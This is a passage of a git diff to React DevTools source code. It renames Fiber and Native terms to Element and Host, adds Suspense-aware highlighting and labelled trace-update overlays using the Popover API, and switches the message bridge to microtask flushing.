+    stopInspectingHost();
 
-    bridge.send('stopInspectingNative', true);
+    bridge.send('stopInspectingHost', true);
   }
 
   function onMouseEvent(event: MouseEvent) {
@@ -157,7 +421,7 @@ export default function setupHighlighter(
     event.preventDefault();
     event.stopPropagation();
 
-    selectFiberForNode(getEventTarget(event));
+    selectElementForNode(getEventTarget(event));
   }
 
   let lastHoveredNode: HTMLElement | null = null;
@@ -182,11 +446,37 @@ export default function setupHighlighter(
       }
     }
 
-    // Don't pass the name explicitly.
-    // It will be inferred from DOM tag and Fiber owner.
-    showOverlay([target], null, agent, false);
-
-    selectFiberForNode(target);
+    if (inspectOnlySuspenseNodes) {
+      // For Suspense nodes we want to highlight not the actual target but the nodes
+      // that are the root of the Suspense node.
+      // TODO: Consider if we should just do the same for other elements because the
+      // hovered node might just be one child of many in the Component.
+      const match = agent.getIDForHostInstance(
+        target,
+        inspectOnlySuspenseNodes,
+      );
+      if (match !== null) {
+        const renderer = agent.rendererInterfaces[match.rendererID];
+        if (renderer == null) {
+          console.warn(
+            `Invalid renderer id "${match.rendererID}" for element "${match.id}"`,
+          );
+          return;
+        }
+        highlightHostInstance({
+          displayName: renderer.getDisplayNameForElementID(match.id),
+          hideAfterTimeout: false,
+          id: match.id,
+          openBuiltinElementsPanel: false,
+          rendererID: match.rendererID,
+          scrollIntoView: false,
+        });
+      }
+    } else {
+      // Don't pass the name explicitly.
+      // It will be inferred from DOM tag and Fiber owner.
+      showOverlay([target], null, agent, false);
+    }
   }
 
   function onPointerUp(event: MouseEvent) {
@@ -194,18 +484,12 @@ export default function setupHighlighter(
     event.stopPropagation();
   }
 
-  const selectFiberForNode = throttle(
-    memoize((node: HTMLElement) => {
-      const id = agent.getIDForNode(node);
-      if (id !== null) {
-        bridge.send('selectFiber', id);
-      }
-    }),
-    200,
-    // Don't change the selection in the very first 200ms
-    // because those are usually unintentional as you lift the cursor.
-    {leading: false},
-  );
+  const selectElementForNode = (node: HTMLElement) => {
+    const match = agent.getIDForHostInstance(node, inspectOnlySuspenseNodes);
+    if (match !== null) {
+      bridge.send('selectElement', match.id);
+    }
+  };
 
   function getEventTarget(event: MouseEvent): HTMLElement {
     if (event.composed) {
diff --git a/packages/react-devtools-shared/src/backend/views/TraceUpdates/canvas.js b/packages/react-devtools-shared/src/backend/views/TraceUpdates/canvas.js
index b92b80d1dff6..b9e2cd906813 100644
--- a/packages/react-devtools-shared/src/backend/views/TraceUpdates/canvas.js
+++ b/packages/react-devtools-shared/src/backend/views/TraceUpdates/canvas.js
@@ -9,13 +9,11 @@
 
 import type {Data} from './index';
 import type {Rect} from '../utils';
-import type {NativeType} from '../../types';
+import type {HostInstance} from '../../types';
 import type Agent from '../../agent';
 
 import {isReactNativeEnvironment} from 'react-devtools-shared/src/backend/utils';
 
-const OUTLINE_COLOR = '#f0f0f0';
-
 // Note these colors are in sync with DevTools Profiler chart colors.
 const COLORS = [
   '#37afa9',
@@ -32,76 +30,177 @@ const COLORS = [
 
 let canvas: HTMLCanvasElement | null = null;
 
-function drawNative(nodeToData: Map<NativeType, Data>, agent: Agent) {
+function drawNative(nodeToData: Map<HostInstance, Data>, agent: Agent) {
   const nodesToDraw = [];
-  iterateNodes(nodeToData, (_, color, node) => {
+  iterateNodes(nodeToData, ({color, node}) => {
     nodesToDraw.push({node, color});
   });
 
   agent.emit('drawTraceUpdates', nodesToDraw);
+
+  const mergedNodes = groupAndSortNodes(nodeToData);
+  agent.emit('drawGroupedTraceUpdatesWithNames', mergedNodes);
 }
 
-function drawWeb(nodeToData: Map<NativeType, Data>) {
+function drawWeb(nodeToData: Map<HostInstance, Data>) {
   if (canvas === null) {
     initialize();
   }
 
+  const dpr = window.devicePixelRatio || 1;
   const canvasFlow: HTMLCanvasElement = ((canvas: any): HTMLCanvasElement);
-  canvasFlow.width = window.innerWidth;
-  canvasFlow.height = window.innerHeight;
+  canvasFlow.width = window.innerWidth * dpr;
+  canvasFlow.height = window.innerHeight * dpr;
+  canvasFlow.style.width = `${window.innerWidth}px`;
+  canvasFlow.style.height = `${window.innerHeight}px`;
 
   const context = canvasFlow.getContext('2d');
-  context.clearRect(0, 0, canvasFlow.width, canvasFlow.height);
-  iterateNodes(nodeToData, (rect, color) => {
-    if (rect !== null) {
-      drawBorder(context, rect, color);
+  context.scale(dpr, dpr);
+
+  context.clearRect(0, 0, canvasFlow.width / dpr, canvasFlow.height / dpr);
+
+  const mergedNodes = groupAndSortNodes(nodeToData);
+
+  mergedNodes.forEach(group => {
+    drawGroupBorders(context, group);
+    drawGroupLabel(context, group);
+  });
+
+  if (canvas !== null) {
+    if (nodeToData.size === 0 && canvas.matches(':popover-open')) {
+      // $FlowFixMe[prop-missing]: Flow doesn't recognize Popover API
+      // $FlowFixMe[incompatible-use]: Flow doesn't recognize Popover API
+      canvas.hidePopover();
+      return;
     }
+    // $FlowFixMe[incompatible-use]: Flow doesn't recognize Popover API
+    if (canvas.matches(':popover-open')) {
+      // $FlowFixMe[prop-missing]: Flow doesn't recognize Popover API
+      // $FlowFixMe[incompatible-use]: Flow doesn't recognize Popover API
+      canvas.hidePopover();
+    }
+    // $FlowFixMe[prop-missing]: Flow doesn't recognize Popover API
+    // $FlowFixMe[incompatible-use]: Flow doesn't recognize Popover API
+    canvas.showPopover();
+  }
+}
+
+type GroupItem = {
+  rect: Rect,
+  color: string,
+  displayName: string | null,
+  count: number,
+};
+
+export type {GroupItem};
+
+export function groupAndSortNodes(
+  nodeToData: Map<HostInstance, Data>,
+): Array<Array<GroupItem>> {
+  const positionGroups: Map<string, Array<GroupItem>> = new Map();
+
+  iterateNodes(nodeToData, ({rect, color, displayName, count}) => {
+    if (!rect) return;
+    const key = `${rect.left},${rect.top}`;
+    if (!positionGroups.has(key)) positionGroups.set(key, []);
+    positionGroups.get(key)?.push({rect, color, displayName, count});
+  });
+
+  return Array.from(positionGroups.values()).sort((groupA, groupB) => {
+    const maxCountA = Math.max(...groupA.map(item => item.count));
+    const maxCountB = Math.max(...groupB.map(item => item.count));
+    return maxCountA - maxCountB;
   });
 }
 
-export function draw(nodeToData: Map<NativeType, Data>, agent: Agent): void {
+function drawGroupBorders(
+  context: CanvasRenderingContext2D,
+  group: Array<GroupItem>,
+) {
+  group.forEach(({color, rect}) => {
+    context.beginPath();
+    context.strokeStyle = color;
+    context.rect(rect.left, rect.top, rect.width - 1, rect.height - 1);
+    context.stroke();
+  });
+}
+
+function drawGroupLabel(
+  context: CanvasRenderingContext2D,
+  group: Array<GroupItem>,
+) {
+  const mergedName = group
+    .map(({displayName, count}) =>
+      displayName ? `${displayName}${count > 1 ? ` x${count}` : ''}` : '',
+    )
+    .filter(Boolean)
+    .join(', ');
+
+  if (mergedName) {
+    drawLabel(context, group[0].rect, mergedName, group[0].color);
+  }
+}
+
+export function draw(nodeToData: Map<HostInstance, Data>, agent: Agent): void {
   return isReactNativeEnvironment()
     ? drawNative(nodeToData, agent)
     : drawWeb(nodeToData);
 }
 
+type DataWithColorAndNode = {
+  ...Data,
+  color: string,
+  node: HostInstance,
+};
+
 function iterateNodes(
-  nodeToData: Map<NativeType, Data>,
-  execute: (rect: Rect | null, color: string, node: NativeType) => void,
+  nodeToData: Map<HostInstance, Data>,
+  execute: (data: DataWithColorAndNode) => void,
 ) {
-  nodeToData.forEach(({count, rect}, node) => {
-    const colorIndex = Math.min(COLORS.length - 1, count - 1);
+  nodeToData.forEach((data, node) => {
+    const colorIndex = Math.min(COLORS.length - 1, data.count - 1);
     const color = COLORS[colorIndex];
-    execute(rect, color, node);
+    execute({
+      color,
+      node,
+      count: data.count,
+      displayName: data.displayName,
+      expirationTime: data.expirationTime,
+      lastMeasuredAt: data.lastMeasuredAt,
+      rect: data.rect,
+    });
   });
 }
 
-function drawBorder(
+function drawLabel(
   context: CanvasRenderingContext2D,
   rect: Rect,
+  text: string,
   color: string,
 ): void {
-  const {height, left, top, width} = rect;
-
-  // outline
-  context.lineWidth = 1;
-  context.strokeStyle = OUTLINE_COLOR;
-
-  context.strokeRect(left - 1, top - 1, width + 2, height + 2);
-
-  // inset
-  context.lineWidth = 1;
-  context.strokeStyle = OUTLINE_COLOR;
-  context.strokeRect(left + 1, top + 1, width - 1, height - 1);
-  context.strokeStyle = color;
-
-  context.setLineDash([0]);
-
-  // border
-  context.lineWidth = 1;
-  context.strokeRect(left, top, width - 1, height - 1);
-
-  context.setLineDash([0]);
+  const {left, top} = rect;
+  context.font = '10px monospace';
+  context.textBaseline = 'middle';
+  context.textAlign = 'center';
+
+  const padding = 2;
+  const textHeight = 14;
+
+  const metrics = context.measureText(text);
+  const backgroundWidth = metrics.width + padding * 2;
+  const backgroundHeight = textHeight;
+  const labelX = left;
+  const labelY = top - backgroundHeight;
+
+  context.fillStyle = color;
+  context.fillRect(labelX, labelY, backgroundWidth, backgroundHeight);
+
+  context.fillStyle = '#000000';
+  context.fillText(
+    text,
+    labelX + backgroundWidth / 2,
+    labelY + backgroundHeight / 2,
+  );
 }
 
 function destroyNative(agent: Agent) {
@@ -110,7 +209,15 @@ function destroyNative(agent: Agent) {
 
 function destroyWeb() {
   if (canvas !== null) {
+    if (canvas.matches(':popover-open')) {
+      // $FlowFixMe[prop-missing]: Flow doesn't recognize Popover API
+      // $FlowFixMe[incompatible-use]: Flow doesn't recognize Popover API
+      canvas.hidePopover();
+    }
+
+    // $FlowFixMe[incompatible-use]: Flow doesn't recognize Popover API and loses canvas nullability tracking
     if (canvas.parentNode != null) {
+      // $FlowFixMe[incompatible-call]: Flow doesn't track that canvas is non-null here
       canvas.parentNode.removeChild(canvas);
     }
     canvas = null;
@@ -123,6 +230,9 @@ export function destroy(agent: Agent): void {
 
 function initialize(): void {
   canvas = window.document.createElement('canvas');
+  canvas.setAttribute('popover', 'manual');
+
+  // $FlowFixMe[incompatible-use]: Flow doesn't recognize Popover API
   canvas.style.cssText = `
     xx-background-color: red;
     xx-opacity: 0.5;
@@ -132,7 +242,10 @@ function initialize(): void {
     position: fixed;
     right: 0;
     top: 0;
-    z-index: 1000000000;
+    background-color: transparent;
+    outline: none;
+    box-shadow: none;
+    border: none;
   `;
 
   const root = window.document.documentElement;
diff --git a/packages/react-devtools-shared/src/backend/views/TraceUpdates/index.js b/packages/react-devtools-shared/src/backend/views/TraceUpdates/index.js
index 8c774e3f1b6e..5b274e8a2f60 100644
--- a/packages/react-devtools-shared/src/backend/views/TraceUpdates/index.js
+++ b/packages/react-devtools-shared/src/backend/views/TraceUpdates/index.js
@@ -9,9 +9,9 @@
 
 import Agent from 'react-devtools-shared/src/backend/agent';
 import {destroy as destroyCanvas, draw} from './canvas';
-import {getNestedBoundingClientRect} from '../utils';
+import {extractHOCNames, getNestedBoundingClientRect} from '../utils';
 
-import type {NativeType} from '../../types';
+import type {HostInstance} from '../../types';
 import type {Rect} from '../utils';
 
 // How long the rect should be shown for?
@@ -24,6 +24,12 @@ const MAX_DISPLAY_DURATION = 3000;
 // How long should a rect be considered valid for?
 const REMEASUREMENT_AFTER_DURATION = 250;
 
+// Markers for different types of HOCs
+const HOC_MARKERS = new Map([
+  ['Forget', '✨'],
+  ['Memo', '🧠'],
+]);
+
 // Some environments (e.g. React Native / Hermes) don't support the performance API yet.
 const getCurrentTime =
   // $FlowFixMe[method-unbinding]
@@ -36,9 +42,10 @@ export type Data = {
   expirationTime: number,
   lastMeasuredAt: number,
   rect: Rect | null,
+  displayName: string | null,
 };
 
-const nodeToData: Map<NativeType, Data> = new Map();
+const nodeToData: Map<HostInstance, Data> = new Map();
 
 let agent: Agent = ((null: any): Agent);
 let drawAnimationFrameID: AnimationFrameID | null = null;
@@ -70,10 +77,8 @@ export function toggleEnabled(value: boolean): void {
   }
 }
 
-function traceUpdates(nodes: Set<NativeType>): void {
-  if (!isEnabled) {
-    return;
-  }
+function traceUpdates(nodes: Set<HostInstance>): void {
+  if (!isEnabled) return;
 
   nodes.forEach(node => {
     const data = nodeToData.get(node);
@@ -81,11 +86,25 @@ function traceUpdates(nodes: Set<NativeType>): void {
 
     let lastMeasuredAt = data != null ? data.lastMeasuredAt : 0;
     let rect = data != null ? data.rect : null;
+
     if (rect === null || lastMeasuredAt + REMEASUREMENT_AFTER_DURATION < now) {
       lastMeasuredAt = now;
       rect = measureNode(node);
     }
 
+    let displayName = agent.getComponentNameForHostInstance(node);
+    if (displayName) {
+      const {baseComponentName, hocNames} = extractHOCNames(displayName);
+
+      const markers = hocNames.map(hoc => HOC_MARKERS.get(hoc) || '').join('');
+
+      const enhancedDisplayName = markers
+        ? `${markers}${baseComponentName}`
+        : baseComponentName;
+
+      displayName = enhancedDisplayName;
+    }
+
     nodeToData.set(node, {
       count: data != null ? data.count + 1 : 1,
       expirationTime:
@@ -97,6 +116,7 @@ function traceUpdates(nodes: Set<NativeType>): void {
           : now + DISPLAY_DURATION,
       lastMeasuredAt,
       rect,
+      displayName,
     });
   });
 
diff --git a/packages/react-devtools-shared/src/backend/views/utils.js b/packages/react-devtools-shared/src/backend/views/utils.js
index 989a0d7b6c90..a73c8094edb9 100644
--- a/packages/react-devtools-shared/src/backend/views/utils.js
+++ b/packages/react-devtools-shared/src/backend/views/utils.js
@@ -40,6 +40,7 @@ export function getOwnerIframe(node: HTMLElement): HTMLElement | null {
 // offset added to compensate for its border.
 export function getBoundingClientRectWithBorderOffset(node: HTMLElement): Rect {
   const dimensions = getElementDimensions(node);
+  // $FlowFixMe[incompatible-variance]
   return mergeRectOffsets([
     node.getBoundingClientRect(),
     {
@@ -102,13 +103,15 @@ export function getNestedBoundingClientRect(
       }
     }
 
+    // $FlowFixMe[incompatible-variance]
     return mergeRectOffsets(rects);
   } else {
+    // $FlowFixMe[incompatible-variance]
     return node.getBoundingClientRect();
   }
 }
 
-export function getElementDimensions(domElement: Element): {
+export function getElementDimensions(domElement: HTMLElement): {
   borderBottom: number,
   borderLeft: number,
   borderRight: number,
@@ -138,3 +141,28 @@ export function getElementDimensions(domElement: Element): {
     paddingBottom: parseInt(calculatedStyle.paddingBottom, 10),
   };
 }
+
+export function extractHOCNames(displayName: string): {
+  baseComponentName: string,
+  hocNames: string[],
+} {
+  if (!displayName) return {baseComponentName: '', hocNames: []};
+
+  const hocRegex = /([A-Z][a-zA-Z0-9]*?)\((.*)\)/g;
+  const hocNames: string[] = [];
+  let baseComponentName = displayName;
+  let match;
+
+  while ((match = hocRegex.exec(baseComponentName)) != null) {
+    if (Array.isArray(match)) {
+      const [, hocName, inner] = match;
+      hocNames.push(hocName);
+      baseComponentName = inner;
+    }
+  }
+
+  return {
+    baseComponentName,
+    hocNames,
+  };
+}
diff --git a/packages/react-devtools-shared/src/backendAPI.js b/packages/react-devtools-shared/src/backendAPI.js
index 718b1cb55bf7..c332393d2aa1 100644
--- a/packages/react-devtools-shared/src/backendAPI.js
+++ b/packages/react-devtools-shared/src/backendAPI.js
@@ -16,6 +16,7 @@ import ElementPollingCancellationError from 'react-devtools-shared/src/errors/El
 import type {
   InspectedElement as InspectedElementBackend,
   InspectedElementPayload,
+  SerializedAsyncInfo as SerializedAsyncInfoBackend,
 } from 'react-devtools-shared/src/backend/types';
 import type {
   BackendEvents,
@@ -24,6 +25,7 @@ import type {
 import type {
   DehydratedData,
   InspectedElement as InspectedElementFrontend,
+  SerializedAsyncInfo as SerializedAsyncInfoFrontend,
 } from 'react-devtools-shared/src/frontend/types';
 import type {InspectedElementPath} from 'react-devtools-shared/src/frontend/types';
 
@@ -48,7 +50,7 @@ export function clearErrorsForElement({
   id: number,
   rendererID: number,
 }): void {
-  bridge.send('clearErrorsForFiberID', {
+  bridge.send('clearErrorsForElementID', {
     rendererID,
     id,
   });
@@ -63,7 +65,7 @@ export function clearWarningsForElement({
   id: number,
   rendererID: number,
 }): void {
-  bridge.send('clearWarningsForFiberID', {
+  bridge.send('clearWarningsForElementID', {
     rendererID,
     id,
   });
@@ -93,7 +95,7 @@ export function inspectElement(
   id: number,
   path: InspectedElementPath | null,
   rendererID: number,
-  shouldListenToPauseEvents: boolean = false,
+  shouldListenToPauseEvents: boolean,
 ): Promise<InspectedElementPayload> {
   const requestID = requestCounter++;
   const promise = getPromiseForRequestID<InspectedElementPayload>(
@@ -115,6 +117,32 @@ export function inspectElement(
   return promise;
 }
 
+export function inspectScreen(
+  bridge: FrontendBridge,
+  forceFullData: boolean,
+  arbitraryRootID: number,
+  path: InspectedElementPath | null,
+  shouldListenToPauseEvents: boolean,
+): Promise<InspectedElementPayload> {
+  const requestID = requestCounter++;
+  const promise = getPromiseForRequestID<InspectedElementPayload>(
+    requestID,
+    'inspectedScreen',
+    bridge,
+    `Timed out while inspecting screen.`,
+    shouldListenToPauseEvents,
+  );
+
+  bridge.send('inspectScreen', {
+    requestID,
+    id: arbitraryRootID,
+    path,
+    forceFullData,
+  });
+
+  return promise;
+}
+
 let storeAsGlobalCount = 0;
 
 export function storeAsGlobal({
@@ -209,6 +237,34 @@ export function cloneInspectedElementWithPath(
   return clonedInspectedElement;
 }
 
+function backendToFrontendSerializedAsyncInfo(
+  asyncInfo: SerializedAsyncInfoBackend,
+): SerializedAsyncInfoFrontend {
+  const ioInfo = asyncInfo.awaited;
+  return {
+    awaited: {
+      name: ioInfo.name,
+      description: ioInfo.description,
+      start: ioInfo.start,
+      end: ioInfo.end,
+      byteSize: ioInfo.byteSize,
+      value: ioInfo.value,
+      env: ioInfo.env,
+      owner:
+        ioInfo.owner === null
+          ? null
+          : backendToFrontendSerializedElementMapper(ioInfo.owner),
+      stack: ioInfo.stack,
+    },
+    env: asyncInfo.env,
+    owner:
+      asyncInfo.owner === null
+        ? null
+        : backendToFrontendSerializedElementMapper(asyncInfo.owner),
+    stack: asyncInfo.stack,
+  };
+}
+
 export function convertInspectedElementBackendToFrontend(
   inspectedElementBackend: InspectedElementBackend,
 ): InspectedElementFrontend {
@@ -221,14 +277,15 @@ export function convertInspectedElementBackendToFrontend(
     canEditHooksAndRenamePaths,
     canToggleError,
     isErrored,
-    targetErrorBoundaryID,
     canToggleSuspense,
-    canViewSource,
+    isSuspended,
     hasLegacyContext,
     id,
     type,
     owners,
+    env,
     source,
+    stack,
     context,
     hooks,
     plugins,
@@ -240,8 +297,15 @@ export function convertInspectedElementBackendToFrontend(
     key,
     errors,
     warnings,
+    suspendedBy,
+    suspendedByRange,
+    unknownSuspenders,
+    nativeTag,
   } = inspectedElementBackend;
 
+  const hydratedSuspendedBy: null | Array<SerializedAsyncInfoBackend> =
+    hydrateHelper(suspendedBy);
+
   const inspectedElement: InspectedElementFrontend = {
     canEditFunctionProps,
     canEditFunctionPropsDeletePaths,
@@ -251,9 +315,8 @@ export function convertInspectedElementBackendToFrontend(
     canEditHooksAndRenamePaths,
     canToggleError,
     isErrored,
-    targetErrorBoundaryID,
     canToggleSuspense,
-    canViewSource,
+    isSuspended,
     hasLegacyContext,
     id,
     key,
@@ -261,20 +324,29 @@ export function convertInspectedElementBackendToFrontend(
     rendererPackageName,
     rendererVersion,
     rootType,
-    // Previous backend implementations (<= 5.0.1) have a different interface for Source, with fileName.
-    // This gates the source features for only compatible backends: >= 5.0.2
-    source: source && source.sourceURL ? source : null,
+    // Previous backend implementations (<= 6.1.5) have a different interface for Source.
+    // This gates the source features for only compatible backends: >= 6.1.6
+    source: Array.isArray(source) ? source : null,
+    stack: stack,
     type,
     owners:
       owners === null
         ? null
         : owners.map(backendToFrontendSerializedElementMapper),
+    env,
     context: hydrateHelper(context),
     hooks: hydrateHelper(hooks),
     props: hydrateHelper(props),
     state: hydrateHelper(state),
     errors,
     warnings,
+    suspendedBy:
+      hydratedSuspendedBy == null // backwards compat
+        ? []
+        : hydratedSuspendedBy.map(backendToFrontendSerializedAsyncInfo),
+    suspendedByRange,
+    unknownSuspenders,
+    nativeTag,
   };
 
   return inspectedElement;
diff --git a/packages/react-devtools-shared/src/bridge.js b/packages/react-devtools-shared/src/bridge.js
index afbf56498863..ba4b2a0f8061 100644
--- a/packages/react-devtools-shared/src/bridge.js
+++ b/packages/react-devtools-shared/src/bridge.js
@@ -15,12 +15,11 @@ import type {
   OwnersList,
   ProfilingDataBackend,
   RendererID,
-  ConsolePatchSettings,
+  DevToolsHookSettings,
+  ProfilingSettings,
 } from 'react-devtools-shared/src/backend/types';
 import type {StyleAndLayout as StyleAndLayoutPayload} from 'react-devtools-shared/src/backend/NativeStyleEditor/types';
 
-const BATCH_DURATION = 100;
-
 // This message specifies the version of the DevTools protocol currently supported by the backend,
 // as well as the earliest NPM version (e.g. "4.13.0") that protocol is supported by on the frontend.
 // This enables an older frontend to display an upgrade message to users for a newer, unsupported backend.
@@ -28,7 +27,7 @@ export type BridgeProtocol = {
   // Version supported by the current frontend/backend.
   version: number,
 
-  // NPM version range that also supports this version.
+  // NPM version range of `react-devtools-inline` that also supports this version.
   // Note that 'maxNpmVersion' is only set when the version is bumped.
   minNpmVersion: string,
   maxNpmVersion: string | null,
@@ -75,19 +74,29 @@ export const currentBridgeProtocol: BridgeProtocol =
 
 type ElementAndRendererID = {id: number, rendererID: RendererID};
 
-type Message = {
+export type Message = {
   event: string,
   payload: any,
 };
 
-type HighlightElementInDOM = {
+type HighlightHostInstance = {
   ...ElementAndRendererID,
   displayName: string | null,
   hideAfterTimeout: boolean,
-  openNativeElementsPanel: boolean,
+  openBuiltinElementsPanel: boolean,
+  scrollIntoView: boolean,
+};
+type HighlightHostInstances = {
+  elements: Array<ElementAndRendererID>,
+  displayName: string | null,
+  hideAfterTimeout: boolean,
   scrollIntoView: boolean,
 };
 
+type ScrollToHostInstance = {
+  ...ElementAndRendererID,
+};
+
 type OverrideValue = {
   ...ElementAndRendererID,
   path: Array<string | number>,
@@ -135,6 +144,11 @@ type OverrideSuspense = {
   forceFallback: boolean,
 };
 
+type OverrideSuspenseMilestone = {
+  rendererID: number,
+  suspendedSet: Array<number>,
+};
+
 type CopyElementPathParams = {
   ...ElementAndRendererID,
   path: Array<string | number>,
@@ -152,6 +166,13 @@ type InspectElementParams = {
   requestID: number,
 };
 
+type InspectScreenParams = {
+  requestID: number,
+  id: number,
+  forceFullData: boolean,
+  path: Array<number | string> | null,
+};
+
 type StoreAsGlobalParams = {
   ...ElementAndRendererID,
   count: number,
@@ -171,79 +192,96 @@ type NativeStyleEditor_SetValueParams = {
   value: string,
 };
 
-type SavedPreferencesParams = {
-  appendComponentStack: boolean,
-  breakOnConsoleErrors: boolean,
+export type SavedPreferencesParams = {
   componentFilters: Array<ComponentFilter>,
-  showInlineWarningsAndErrors: boolean,
-  hideConsoleLogsInStrictMode: boolean,
 };
 
 export type BackendEvents = {
+  backendInitialized: [],
   backendVersion: [string],
   bridgeProtocol: [BridgeProtocol],
   extensionBackendInitialized: [],
   fastRefreshScheduled: [],
   getSavedPreferences: [],
   inspectedElement: [InspectedElementPayload],
-  isBackendStorageAPISupported: [boolean],
-  isSynchronousXHRSupported: [boolean],
+  inspectedScreen: [InspectedElementPayload],
+  isReloadAndProfileSupportedByBackend: [boolean],
   operations: [Array<number>],
   ownersList: [OwnersList],
-  overrideComponentFilters: [Array<ComponentFilter>],
+  environmentNames: [Array<string>],
   profilingData: [ProfilingDataBackend],
   profilingStatus: [boolean],
   reloadAppForProfiling: [],
   saveToClipboard: [string],
-  selectFiber: [number],
+  selectElement: [number | null],
   shutdown: [],
-  stopInspectingNative: [boolean],
-  syncSelectionFromNativeElementsPanel: [],
-  syncSelectionToNativeElementsPanel: [],
-  unsupportedRendererVersion: [RendererID],
+  stopInspectingHost: [boolean],
+  scrollTo: [{left: number, top: number, right: number, bottom: number}],
+  syncSelectionToBuiltinElementsPanel: [],
+  unsupportedRendererVersion: [],
+
+  extensionComponentsPanelShown: [],
+  extensionComponentsPanelHidden: [],
+
+  resumeElementPolling: [],
+  pauseElementPolling: [],
 
   // React Native style editor plug-in.
   isNativeStyleEditorSupported: [
     {isSupported: boolean, validAttributes: ?$ReadOnlyArray<string>},
   ],
   NativeStyleEditor_styleAndLayout: [StyleAndLayoutPayload],
+
+  hookSettings: [$ReadOnly<DevToolsHookSettings>],
 };
 
-type FrontendEvents = {
+type StartProfilingParams = ProfilingSettings;
+type ReloadAndProfilingParams = ProfilingSettings;
+
+export type FrontendEvents = {
   clearErrorsAndWarnings: [{rendererID: RendererID}],
-  clearErrorsForFiberID: [ElementAndRendererID],
-  clearNativeElementHighlight: [],
-  clearWarningsForFiberID: [ElementAndRendererID],
+  clearErrorsForElementID: [ElementAndRendererID],
+  clearHostInstanceHighlight: [],
+  clearWarningsForElementID: [ElementAndRendererID],
   copyElementPath: [CopyElementPathParams],
   deletePath: [DeletePath],
   getBackendVersion: [],
   getBridgeProtocol: [],
+  getIfHasUnsupportedRendererVersion: [],
   getOwnersList: [ElementAndRendererID],
   getProfilingData: [{rendererID: RendererID}],
   getProfilingStatus: [],
-  highlightNativeElement: [HighlightElementInDOM],
+  highlightHostInstance: [HighlightHostInstance],
+  highlightHostInstances: [HighlightHostInstances],
   inspectElement: [InspectElementParams],
+  inspectScreen: [InspectScreenParams],
   logElementToConsole: [ElementAndRendererID],
   overrideError: [OverrideError],
   overrideSuspense: [OverrideSuspense],
+  overrideSuspenseMilestone: [OverrideSuspenseMilestone],
   overrideValueAtPath: [OverrideValueAtPath],
   profilingData: [ProfilingDataBackend],
-  reloadAndProfile: [boolean],
+  reloadAndProfile: [ReloadAndProfilingParams],
   renamePath: [RenamePath],
   savedPreferences: [SavedPreferencesParams],
-  selectFiber: [number],
   setTraceUpdatesEnabled: [boolean],
   shutdown: [],
-  startInspectingNative: [],
-  startProfiling: [boolean],
-  stopInspectingNative: [boolean],
+  startInspectingHost: [boolean],
+  startProfiling: [StartProfilingParams],
+  stopInspectingHost: [],
+  scrollToHostInstance: [ScrollToHostInstance],
+  scrollTo: [{left: number, top: number, right: number, bottom: number}],
+  requestScrollPosition: [],
   stopProfiling: [],
   storeAsGlobal: [StoreAsGlobalParams],
   updateComponentFilters: [Array<ComponentFilter>],
-  updateConsolePatchSettings: [ConsolePatchSettings],
+  getEnvironmentNames: [],
+  updateHookSettings: [$ReadOnly<DevToolsHookSettings>],
   viewAttributeSource: [ViewAttributeSourceParams],
   viewElementSource: [ElementAndRendererID],
 
+  syncSelectionFromBuiltinElementsPanel: [],
+
   // React Native style editor plug-in.
   NativeStyleEditor_measure: [ElementAndRendererID],
   NativeStyleEditor_renameAttribute: [NativeStyleEditor_RenameAttributeParams],
@@ -264,20 +302,16 @@ type FrontendEvents = {
   overrideProps: [OverrideValue],
   overrideState: [OverrideValue],
 
-  resumeElementPolling: [],
-  pauseElementPolling: [],
+  getHookSettings: [],
 };
 
 class Bridge<
   OutgoingEvents: Object,
   IncomingEvents: Object,
-> extends EventEmitter<{
-  ...IncomingEvents,
-  ...OutgoingEvents,
-}> {
+> extends EventEmitter<IncomingEvents> {
   _isShutdown: boolean = false;
   _messageQueue: Array<any> = [];
-  _timeoutID: TimeoutID | null = null;
+  _scheduledFlush: boolean = false;
   _wall: Wall;
   _wallUnlisten: Function | null = null;
 
@@ -307,7 +341,7 @@ class Bridge<
 
   send<EventName: $Keys<OutgoingEvents>>(
     event: EventName,
-    ...payload: $ElementType<OutgoingEvents, EventName>
+    ...payload: OutgoingEvents[EventName]
   ) {
     if (this._isShutdown) {
       console.warn(
@@ -325,8 +359,19 @@ class Bridge<
     //   (or we're waiting for our setTimeout-0 to fire), then _timeoutID will
     //   be set, and we'll simply add to the queue and wait for that
     this._messageQueue.push(event, payload);
-    if (!this._timeoutID) {
-      this._timeoutID = setTimeout(this._flush, 0);
+    if (!this._scheduledFlush) {
+      this._scheduledFlush = true;
+      // $FlowFixMe
+      if (typeof devtoolsJestTestScheduler === 'function') {
+        // This exists just for our own jest tests.
+        // They're written in such a way that we can neither mock queueMicrotask
+        // because then we break React DOM and we can't not mock it because then
+        // we can't synchronously flush it. So they need to be rewritten.
+        // $FlowFixMe
+        devtoolsJestTestScheduler(this._flush); // eslint-disable-line no-undef
+      } else {
+        queueMicrotask(this._flush);
+      }
     }
   }
 
@@ -364,34 +409,24 @@ class Bridge<
     do {
       this._flush();
     } while (this._messageQueue.length);
-
-    // Make sure once again that there is no dangling timer.
-    if (this._timeoutID !== null) {
-      clearTimeout(this._timeoutID);
-      this._timeoutID = null;
-    }
   }
 
   _flush: () => void = () => {
     // This method is used after the bridge is marked as destroyed in shutdown sequence,
     // so we do not bail out if the bridge marked as destroyed.
     // It is a private method that the bridge ensures is only called at the right times.
-
-    if (this._timeoutID !== null) {
-      clearTimeout(this._timeoutID);
-      this._timeoutID = null;
-    }
-
-    if (this._messageQueue.length) {
-      for (let i = 0; i < this._messageQueue.length; i += 2) {
-        this._wall.send(this._messageQueue[i], ...this._messageQueue[i + 1]);
+    try {
+      if (this._messageQueue.length) {
+        for (let i = 0; i < this._messageQueue.length; i += 2) {
+          // This only supports one argument in practice but the types suggests it should support multiple.
+          this._wall.send(this._messageQueue[i], this._messageQueue[i + 1][0]);
+        }
+        this._messageQueue.length = 0;
       }
-      this._messageQueue.length = 0;
-
-      // Check again for queued messages in BATCH_DURATION ms. This will keep
-      // flushing in a loop as long as messages continue to be added. Once no
-      // more are, the timer expires.
-      this._timeoutID = setTimeout(this._flush, BATCH_DURATION);
+    } finally {
+      // We set this at the end in case new messages are added synchronously above.
+      // They're already handled so they shouldn't queue more flushes.
+      this._scheduledFlush = false;
     }
   };
 
diff --git a/packages/react-devtools-shared/src/config/DevToolsFeatureFlags.core-fb.js b/packages/react-devtools-shared/src/config/DevToolsFeatureFlags.core-fb.js
index 47e15953c978..5d9c476b3bfd 100644
--- a/packages/react-devtools-shared/src/config/DevToolsFeatureFlags.core-fb.js
+++ b/packages/react-devtools-shared/src/config/DevToolsFeatureFlags.core-fb.js
@@ -13,9 +13,10 @@
